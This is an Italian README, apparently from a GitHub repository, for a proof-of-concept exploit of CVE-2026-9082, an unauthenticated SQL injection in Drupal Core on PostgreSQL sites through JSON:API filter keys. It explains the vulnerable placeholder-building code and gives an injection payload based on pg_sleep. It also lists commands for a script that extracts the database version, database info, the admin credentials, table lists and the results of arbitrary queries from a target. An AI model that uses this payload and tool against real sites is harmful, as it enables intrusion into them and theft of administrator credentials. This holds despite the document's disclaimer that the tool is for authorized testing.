
Drupal Core PostgreSQL SQL Injection PoC - CVE-2026-9082. PoC etico per la vulnerabilità di Drupal che consente l'iniezione SQL anonima attraverso il modulo JSON:API su siti basati su PostgreSQL.
Questo repository fornisce una Proof-of-Concept (PoC) etica per la CVE-2026-9082, una vulnerabilità di SQL injection estremamente critica nel Drupal Core che colpisce tutti i siti basati su PostgreSQL che eseguono Drupal 8.0 fino alla 11.3.9.
Il difetto risiede nel gestore delle condizioni delle query Entity Query di PostgreSQL e può essere sfruttato da utenti anonimi (non autenticati) attraverso il modulo JSON:API, abilitato per impostazione predefinita da Drupal 9.
Advisory ufficiale: SA-CORE-2026-004
Drupal Core include un'API di astrazione del database progettata per
sanificare le query e prevenire SQL injection. Un difetto nella classe
Condition specifica per PostgreSQL (core/modules/pgsql/src/EntityQuery/Condition.php)
consente a un attaccante di iniettare SQL arbitrario attraverso
chiavi di array controllate dall'utente passate tramite
parametri di filtro JSON:API.
translateCondition() nella classe Condition di
PostgreSQL itera su $condition['value'] e utilizza le
chiavi dell'array per costruire nomi di placeholder PDO:$where_id = $where_prefix . $key;
filter[x][condition][value][CHIAVE_MALIGNA]=val
[a-zA-Z0-9_]. Quando la chiave contiene ), PDO
interrompe l'analisi del nome del placeholder — tutto ciò che segue
diventa SQL letterale iniettato nella query.
1))/**/OR/**/(SELECT pg_sleep(5)) IS NOT NULL)--,
l'attaccante chiude la clausola IN() e aggiunge SQL
arbitrario, mentre il binding per :prefix_1 viene soddisfatto
da una chiave legittima 1 nella stessa richiesta.
Questo strumento è destinato esclusivamente a test di sicurezza autorizzati, scopi educativi e ricerca etica. L'accesso non autorizzato a sistemi informatici è illegale.
git clone https://github.com/7h30th3r0n3/CVE-2026-9082-Drupal-PoC.git
cd CVE-2026-9082-Drupal-PoC
pip install requests rich# Controlla se il target è vulnerabile
python3 CVE-2026-9082.py -u https://target.com --check
# Estrae la versione di PostgreSQL
python3 CVE-2026-9082.py -u https://target.com --version
# Estrae informazioni sul database (utente + nome db)
python3 CVE-2026-9082.py -u https://target.com --dbinfo
# Estrae le credenziali admin di Drupal (uid=1)
python3 CVE-2026-9082.py -u https://target.com --admin
# Elenca le tabelle del database
python3 CVE-2026-9082.py -u https://target.com --tables
# Estrazione di una query SQL personalizzata
python3 CVE-2026-9082.py -u https://target.com --query "SELECT current_user"
# Usa estrazione basata su booleani (più veloce ma meno affidabile)
python3 CVE-2026-9082.py -u https://target.com --version -m bool
# Modalità interattiva (senza argomenti)
python3 CVE-2026-9082.py